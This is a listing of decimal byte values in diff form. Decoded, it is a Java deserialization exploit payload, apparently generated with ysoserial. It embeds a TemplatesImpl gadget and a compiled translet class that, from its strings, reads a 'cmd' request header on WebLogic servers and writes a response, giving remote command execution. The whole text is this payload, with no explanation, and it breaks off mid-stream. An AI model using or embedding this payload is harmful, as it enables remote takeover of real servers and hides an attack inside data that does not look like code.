+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 116
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 59
+
+
+ 91
+
+
+ 0
+
+
+ 10
+
+
+ 95
+
+
+ 98
+
+
+ 121
+
+
+ 116
+
+
+ 101
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 91
+
+
+ 0
+
+
+ 6
+
+
+ 95
+
+
+ 99
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 91
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 5
+
+
+ 95
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 4
+
+
+ 76
+
+
+ 0
+
+
+ 17
+
+
+ 95
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 22
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ 0
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 97
+
+
+ 108
+
+
+ 108
+
+
+ 112
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 75
+
+
+ -3
+
+
+ 25
+
+
+ 21
+
+
+ 103
+
+
+ 103
+
+
+ -37
+
+
+ 55
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 2
+
+
+ 91
+
+
+ 66
+
+
+ -84
+
+
+ -13
+
+
+ 23
+
+
+ -8
+
+
+ 6
+
+
+ 8
+
+
+ 84
+
+
+ -32
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 14
+
+
+ 29
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ -70
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 34
+
+
+ 7
+
+
+ 0
+
+
+ -72
+
+
+ 7
+
+
+ 0
+
+
+ 37
+
+
+ 7
+
+
+ 0
+
+
+ 38
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ -83
+
+
+ 32
+
+
+ -109
+
+
+ -13
+
+
+ -111
+
+
+ -35
+
+
+ -17
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 114
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 100
+
+
+ 111
+
+
+ 99
+
+
+ 117
+
+
+ 109
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 66
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ 39
+
+
+ 1
+
+
+ 0
+
+
+ -90
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 65
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 40
+
+
+ 1
+
+
+ 0
+
+
+ 51
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 64
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 65
+
+
+ 98
+
+
+ 115
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 57
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 60
+
+
+ 99
+
+
+ 108
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 42
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 99
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 44
+
+
+ 0
+
+
+ 45
+
+
+ 10
+
+
+ 0
+
+
+ 43
+
+
+ 0
+
+
+ 46
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 117
+
+
+ 116
+
+
+ 101
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 48
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 65
+
+
+ 100
+
+
+ 97
+
+
+ 112
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 51
+
+
+ 10
+
+
+ 0
+
+
+ 49
+
+
+ 0
+
+
+ 52
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 54
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 8
+
+
+ 0
+
+
+ 56
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 72
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 38
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 58
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 60
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
